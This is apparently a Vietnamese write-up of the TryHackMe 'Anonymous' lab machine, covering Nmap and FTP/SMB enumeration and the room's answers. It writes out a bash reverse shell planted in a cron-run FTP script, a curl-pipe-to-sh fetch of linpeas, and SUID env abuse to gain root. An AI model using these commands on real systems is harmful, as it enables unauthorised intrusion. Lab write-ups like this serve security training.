TryHackMe - Anonymous
Không phải nhóm hacker
Giới thiệu
Một máy khá dễ, thật kỳ lạ khi nó được đánh giá là Trung bình. Dù sao thì vẫn khá vui.
Nmap
Hãy bắt đầu bằng việc quét với Nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.12.102
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 2 111 113 4096 Jun 04 2020 scripts [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.11.75.122
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)
| 256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)
|_ 256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Các cổng đang mở:
21/tcp
22/tcp
139/tcp
445/tcp
Câu hỏi:
Hãy liệt kê thông tin về máy. Có bao nhiêu cổng đang mở?
Câu trả lời:
1
4
Chúng ta cũng có thể trả lời ngay một số câu hỏi vì đây là các cổng và dịch vụ mặc định.
Câu hỏi:
Dịch vụ nào đang chạy trên cổng 21?
Câu trả lời:
1
ftp
Câu hỏi:
Dịch vụ nào đang chạy trên các cổng 139 và 445?
Câu trả lời:
1
smb
Trinh sát
Tôi đã thử đăng nhập vào dịch vụ FTP bằng tài khoản anonymous và có vẻ nó hoạt động, vì vậy tôi bắt đầu kiểm tra các tệp.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
└─$ ftp anonymous@10.10.12.102
Connected to 10.10.12.102.
220 NamelessOne's FTP Server!
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||46482|)
150 Here comes the directory listing.
drwxrwxrwx 2 111 113 4096 Jun 04 2020 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||21624|)
150 Here comes the directory listing.
-rwxr-xrwx 1 1000 1000 314 Jun 04 2020 clean.sh
-rw-rw-r-- 1 1000 1000 1376 Feb 27 14:20 removed_files.log
-rw-r--r-- 1 1000 1000 68 May 12 2020 to_do.txt
226 Directory send OK.
ftp>
Chúng ta cũng có thể xem tên các SMB share bằng cách sau:
1
smbclient -L 10.10.12.102
Chỉ cần nhấn Enter và chúng ta sẽ đăng nhập với tư cách anonymous.
Câu hỏi:
Có một share trên máy tính của người dùng. Nó có tên là gì?
Câu trả lời:
1
pics
Chúng ta có tên người dùng NamelessOne.
Hãy tải tất cả các tệp xuống và kiểm tra chúng.
1
$ wget -m ftp://anonymous@10.10.12.102
User Flag
Bây giờ, chúng ta cần:
- Ghi reverse shell vào tệp
clean.sh - Đăng nhập FTP bằng tài khoản anonymous
- Tải tệp từ máy tấn công lên
1
2
3
4
#!/bin/bash
bash -i >& /dev/tcp/10.11.75.122/1337 0>&1
1
2
3
4
5
6
7
8
ftp> put clean.sh clean.sh
local: clean.sh remote: clean.sh
229 Entering Extended Passive Mode (|||46815|)
150 Ok to send data.
100% |******************************************************************| 56 1.57 MiB/s 00:00 ETA
226 Transfer complete.
56 bytes sent in 00:00 (0.60 KiB/s)
ftp>
Mở Netcat listener và chờ.
1
2
nc -lvnp 1337
listening on [any] 1337 ...
Sau khi chờ cron job chạy, chúng ta nhận được kết nối.
1
2
3
4
5
6
7
8
9
10
connect to [10.11.75.122] from (UNKNOWN) [10.10.12.102] 52464
bash: cannot set terminal process group (1522): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$ ls
ls
pics
user.txt
namelessone@anonymous:~$ cat user.txt
cat user.txt
<CENSORED>
Leo thang đặc quyền
Bây giờ đến phần leo thang đặc quyền.
Hãy sử dụng linpeas để kiểm tra các vector leo thang đặc quyền có thể khai thác.
- Tải LinPEAS từ GitHub
- Khởi động máy chủ HTTP cục bộ trên máy tấn công
- Chạy lệnh để tải tệp xuống và thực thi nó
1
sudo python3 -m http.server
Trên máy nạn nhân:
1
curl 10.11.75.122/linpeas.sh | sh
Có vẻ như chúng ta có thể sử dụng /env.
Nếu tệp nhị phân được thiết lập bit SUID, nó sẽ không loại bỏ các đặc quyền nâng cao.
Chúng ta có thể đọc root flag theo cách sau:
1
2
env /bin/sh
/usr/bin/env /bin/sh -p



